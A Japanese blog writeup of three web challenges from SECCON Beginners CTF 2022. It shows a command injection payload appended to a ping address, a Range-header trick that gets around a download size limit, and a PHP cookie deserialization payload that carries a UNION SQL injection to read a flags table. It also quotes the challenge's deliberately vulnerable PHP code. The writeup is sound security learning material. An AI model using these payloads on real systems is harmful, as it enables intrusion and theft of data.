SECCON Beginners CTF 2022 writeup

SECCON Beginners CTF 2022 writeup

今回は一緒に働いている方々と参加してきました。
Web3問だけですが、writeup します。

[Web] Util

HTMLのソース(index.html)を見ると、javascriptでsendというメソッドがあり、そこで入力値のチェックをしている。
サーバ側のソース(main.go)を見ると、特に入力値をチェックしていない。
commnd := “ping -c 1 -W 1 ” + param.Address + ” 1>&2″ とあるので、ここにコマンドインジェクションを仕掛ければよいと思われる。
フラグの場所はDockerfileを見ると/flag_<ランダム文字>.txtのようだ。

開発者ツールでsendメソッドを書き換えて、入力チェックをなくした後、
以下のアドレスを入力して、送信すればフラグがゲットできる。

127.0.0.1;cat /flag_*.txt

[Web] gallery

画面を開くとこんな感じ。どうやら拡張子に応じたファイル一覧が列挙されるらしい。

handlers.goを見ると、flagという文字はダメだけど、ファイル名の一部が一致していればヒットするということで、
javascriptでflaが含まれているリストボックスを追加して選択してみることに。

こんな感じでフラグのPDFをGET! ただ、この状態だと、ダウンロードしたファイルはすべて?になっていた。
問題文にあるようにサイズ制限がしてあるっぽい。

main.goに10240byteのサイズ制限がされており、これを超えると?に置換するようになっていた。
なので、Rangeヘッダで2回に分けて取得した。(PDFのサイズは15KBほどだったので。

Firefoxの開発者専用ツールで編集して再送信を2回行って、その結果をそれぞれマージする。
1回目:Range: bytes=0-10239
2回目:Range: bytes=10240-

※firefoxの開発者専用ツールってバイナリの場合、Base64エンコードしてくれるのを初めて知った
※コマンドプロンプトのコピーコマンドでバイナリ結合できるのも初めて知った…

そーすると、PDFが取得できるので、表示してフラグをゲット。

[Web] serial

database.phpを見ると、いかにも怪しいメソッドを発見。

    /**
     * findUserByName finds a user from database by given userId.
     * 
     * @deprecated this function might be vulnerable to SQL injection. DO NOT USE THIS FUNCTION.
     */
    public function findUserByName($user = null)
    {
        if (!isset($user->name)) {
            throw new Exception('invalid user name: ' . $user->user);
        }

        $sql = "SELECT id, name, password_hash FROM users WHERE name = '" . $user->name . "' LIMIT 1";
        $result = $this->_con->query($sql);
        if (!$result) {
            throw new Exception('failed query for findUserByNameOld ' . $sql);
        }

        while ($row = $result->fetch_assoc()) {
            $user = new User($row['id'], $row['name'], $row['password_hash']);
        }
        return $user;
    }

user->nameにいい感じの文字を入れれば、よさそう。
user.phpにあるUserクラスを見ると使えないキーワードがある。(あとでわかるけど、これは全然関係なかった…むしろヒントに近い。

class User
{
    private const invalid_keywords = array("UNION", "'", "FROM", "SELECT", "flag");

    public $id;
    public $name;
    public $password_hash;

    public function __construct($id = null, $name = null, $password_hash = null)
    {
        $this->id = htmlspecialchars($id);
        $this->name = htmlspecialchars(str_replace(self::invalid_keywords, "?", $name));
        $this->password_hash = $password_hash;
    }

    public function __toString()
    {
        return "id: " . $this->id . ", name: " . $this->name . ", pass: " . $this->password_hash;
    }

    public function isValid()
    {
        return isset($this->id) && isset($this->name) && isset($this->password_hash);
    }
}

問題となるfindUserByNameを使用している箇所は最初のSignUpのところと、
その後の画面操作のloginメソッド。loginメソッドよく見ると、Cookieをbase64デコードして、デシリアライズしている。
その後、SQLを実行して、ハッシュ化されたパスワードが一致していれば、SQLの実行結果をCookieに格納してくれそう。
Userクラスに記載されていた使えないキーワードもデシリアライズでやるなら大丈夫。

function login()
{
    if (empty($_COOKIE["__CRED"])) {
        return false;
    }

    $user = unserialize(base64_decode($_COOKIE['__CRED']));

    // check if the given user exists
    try {
        $db = new Database();
        $storedUser = $db->findUserByName($user);
    } catch (Exception $e) {
        die($e->getMessage());
    }
    // var_dump($user);
    // var_dump($storedUser);
    if ($user->password_hash === $storedUser->password_hash) {
        // update stored user with latest information
        // die($storedUser);
        setcookie("__CRED", base64_encode(serialize($storedUser)));
        return true;
    }
    return false;
}

というわけでまずは普通にログインして、Cookieを取得。

Tzo0OiJVc2VyIjozOntzOjI6ImlkIjtzOjU6IjE3MDA0IjtzOjQ6Im5hbWUiO3M6NjoicmFrdWhhIjtzOjEzOiJwYXNzd29yZF9oYXNoIjtzOjYwOiIkMnkkMTAkRTlBanE5ZGoxQVlPeWhFeDVMNkFOdWtsRXpRUFZ0N28ubWpzUjc3UWNpYi91UWo4TUJiVTIiO30%3D

その後、%3Dを=に変えて、base64デコード。

O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:6:"rakuha";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}

各文字列の前に文字数があるので、変更した場合はこの文字数を変えればよさそう。
こんな感じで変更。

O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:136:"rakuha' union select 17004, body, '$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2' from flags where body like 'ctf4b%' -- ";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}

ここで注意してほしいのがflagsテーブルは小文字じゃないとうまくいかないところ。
最初Userクラスでflagが禁止ワードになっていたので、FLAGSとしていたところで結構はまりました。。。

そんなわけで↑で作ったJSONをBase64エンコード。=は%3Dに変えてCookieに設定して、再度リロード。
そうすると、Cookieの内容が変わるので、その内容を取得し、デコードすると、フラグゲット。

O:4:"User":3:{s:2:"id";s:5:"17004";s:4:"name";s:43:"ctf4b{Ser14liz4t10n_15_v1rtually_pl41ntext}";s:13:"password_hash";s:60:"$2y$10$E9Ajq9dj1AYOyhEx5L6ANuklEzQPVt7o.mjsR77Qcib/uQj8MBbU2";}

IPAの資格持ち(FE,AP,SC,DB,NW)。一応、情報処理安全確保支援士です。セキュリティ関連に興味あり。

コメントを残す

メールアドレスが公開されることはありません。 が付いている欄は必須項目です